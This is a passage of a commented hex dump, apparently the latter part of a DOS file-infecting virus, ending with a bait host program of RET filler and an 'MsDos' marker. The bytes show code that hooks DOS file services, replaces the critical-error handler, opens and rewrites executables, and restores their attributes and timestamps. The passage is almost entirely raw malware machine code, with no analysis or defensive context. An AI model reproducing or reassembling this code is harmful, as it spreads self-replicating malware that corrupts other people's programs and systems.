;0460 15 80 E2 1F B4 36 CD 21-3D FF FF 75 03 E9 77 02 ..b.46M!=..u.iw.
;0470 F7 E3 F7 E1 0B D2 75 05-3D 10 07 72 F0 2E 8B 16 wcwa.Ru.=..rp...
;0480 80 00 1E 07 32 C0 B9 41-00 F2 AE 2E 8B 36 80 00 ....2@9A.r...6..
;0490 8A 04 0A C0 74 0E 3C 61-72 07 3C 7A 77 03 80 2C ...@t.<ar.<zw..,
;04A0 20 46 EB EC B9 0B 00 2B-F1 BF 84 00 0E 07 B9 0B Fkl9..+q?....9.
;04B0 00 F3 A6 75 03 E9 2F 02-B8 00 43 CD 21 72 05 2E .s&u.i/.8.CM!r..
;04C0 89 0E 72 00 72 25 32 C0-2E A2 4E 00 1E 07 8B FA ..r.r%2@."N....z
;04D0 B9 41 00 F2 AE 80 7D FE-4D 74 0B 80 7D FE 6D 74 9A.r..}~Mt..}~mt
;04E0 05 2E FE 06 4E 00 B8 00-3D CD 21 72 5A 2E A3 70 ..~.N.8.=M!rZ.#p
;04F0 00 8B D8 B8 02 42 B9 FF-FF BA FB FF CD 21 72 EB ..X8.B9..:{.M!rk
;0500 05 05 00 2E A3 11 00 B9-05 00 BA 6B 00 8C C8 8E ....#..9..:k..H.
;0510 D8 8E C0 B4 3F CD 21 8B-FA BE 05 00 F3 A6 75 07 X.@4?M!.z>..s&u.
;0520 B4 3E CD 21 E9 C0 01 B8-24 35 CD 21 89 1E 1B 00 4>M!i@.8$5M!....
;0530 8C 06 1D 00 BA 1B 02 B8-24 25 CD 21 C5 16 80 00 ....:..8$%M!E...
;0540 33 C9 B8 01 43 CD 21 72-3B 2E 8B 1E 70 00 B4 3E 3I8.CM!r;...p.4>
;0550 CD 21 2E C7 06 70 00 FF-FF B8 02 3D CD 21 72 24 M!.G.p...8.=M!r$
;0560 2E A3 70 00 8C C8 8E D8-8E C0 8B 1E 70 00 B8 00 .#p..H.X.@..p.8.
;0570 57 CD 21 89 16 74 00 89-0E 76 00 B8 00 42 33 C9 WM!..t...v.8.B3I
;0580 8B D1 CD 21 72 3D 80 3E-4E 00 00 74 03 EB 57 90 .QM!r=.>N..t.kW.
;0590 BB 00 10 B4 48 CD 21 73-0B B4 3E 8B 1E 70 00 CD ;..4HM!s.4>..p.M
;05A0 21 E9 43 01 FF 06 8F 00-8E C0 33 F6 8B FE B9 10 !iC......@3v.~9.
;05B0 07 F3 A4 8B D7 8B 0E 11-00 8B 1E 70 00 06 1F B4 .s$.W......p...4
;05C0 3F CD 21 72 1C 03 F9 33-C9 8B D1 B8 00 42 CD 21 ?M!r..y3I.Q8.BM!
;05D0 BE 05 00 B9 05 00 F3 2E-A4 8B CF 33 D2 B4 40 CD >..9..s.$.O3R4@M
;05E0 21 72 0D E9 BC 00 B9 1C-00 BA 4F 00 B4 3F CD 21 !r.i<.9..:O.4?M!
;05F0 72 4A C7 06 61 00 84 19-A1 5D 00 A3 45 00 A1 5F rJG.a...!].#E.!_
;0600 00 A3 43 00 A1 63 00 A3-47 00 A1 65 00 A3 49 00 .#C.!c.#G.!e.#I.
;0610 A1 53 00 83 3E 51 00 00-74 01 48 F7 26 78 00 03 !S..>Q..t.Hw&x..
;0620 06 51 00 83 D2 00 05 0F-00 83 D2 00 25 F0 FF A3 .Q..R.....R.%p.#
;0630 7C 00 89 16 7E 00 05 10-07 83 D2 00 72 3A F7 36 |...~.....R.r:w6
;0640 78 00 0B D2 74 01 40 A3-53 00 89 16 51 00 A1 7C x..Rt.@#S...Q.!|
;0650 00 8B 16 7E 00 F7 36 7A-00 2B 06 57 00 A3 65 00 ...~.w6z.+.W.#e.
;0660 C7 06 63 00 C5 00 A3 5D-00 C7 06 5F 00 10 07 33 G.c.E.#].G._...3
;0670 C9 8B D1 B8 00 42 CD 21-72 0A B9 1C 00 BA 4F 00 I.Q8.BM!r.9..:O.
;0680 B4 40 CD 21 72 11 3B C1-75 18 8B 16 7C 00 8B 0E 4@M!r.;Au...|...
;0690 7E 00 B8 00 42 CD 21 72-09 33 D2 B9 10 07 B4 40 ~.8.BM!r.3R9..4@
;06A0 CD 21 2E 83 3E 8F 00 00-74 04 B4 49 CD 21 2E 83 M!..>...t.4IM!..
;06B0 3E 70 00 FF 74 31 2E 8B-1E 70 00 2E 8B 16 74 00 >p..t1...p....t.
;06C0 2E 8B 0E 76 00 B8 01 57-CD 21 B4 3E CD 21 2E C5 ...v.8.WM!4>M!.E
;06D0 16 80 00 2E 8B 0E 72 00-B8 01 43 CD 21 2E C5 16 ......r.8.CM!.E.
;06E0 1B 00 B8 24 25 CD 21 07-1F 5F 5E 5A 59 5B 58 9D ..8$%M!.._^ZY[X.
;06F0 2E FF 2E 17 00 00 00 00-00 00 00 00 00 00 00 00 ................
;0700 4D 00 00 0F 00 00 00 00-00 00 00 00 00 00 00 00 M...............
;0710 CD 20 0B 1B 00 9A F0 FE-1D F0 2F 01 0E 0A 3C 01 M ....p~.p/...<.
;0720 0E 0A EB 04 0E 0A 0E 0A-01 01 01 00 02 FF FF FF ..k.............
;0730 FF FF FF FF FF FF FF FF-FF FF FF FF DD 0A 0C 16 ............]...
;0740 52 0B 14 00 18 00 52 0B-FF FF FF FF 00 00 00 00 R.....R.........
;0750 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
;0760 CD 21 CB 00 00 00 00 00-00 00 00 00 00 20 20 20 M!K..........
;0770 20 20 20 20 20 20 20 20-00 00 00 00 00 20 20 20 .....
;0780 20 20 20 20 20 20 20 20-00 00 00 00 00 00 00 00 ........
;0790 00 0D 62 3A 0D 62 6F 2E-2A 20 62 3A 0D 00 00 00 ..b:.bo.* b:....
;07A0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 01 00 ................
;07B0 17 D0 01 00 01 00 17 D0-01 00 01 00 17 D0 02 00 .P.....P.....P..
;07C0 01 00 17 D0 02 00 01 00-87 CF 00 00 05 00 FF FF ...P.....O......
;07D0 EA CF 01 00 17 D0 07 00-01 00 6C 15 08 25 A5 FE jO...P....l..%%~
;07E0 BC 07 1E 02 10 07 6C 15-8E 17 2F 01 04 7F 70 00 <.....l.../...p.
;07F0 10 07 40 00 82 08 88 17-A5 16 1B 02 8E 17 02 02 ..@.....%.......
;0800 4D 15 18 05 00 00 00 00-00 00 00 00 00 00 00 00 M...............
;<<<<<<<<<< ORIGINAL CODE BEGINS HERE
;0810 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0820 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0830 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0840 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0850 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0860 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0870 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0880 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0890 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08A0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08B0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08C0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08D0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08E0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08F0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0900 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;>>>>>>>>>> ORIGINAL CODE ENDS HERE
;0910 4D 73 44 6F 73
;-----------------------------------------------------------------------;
END

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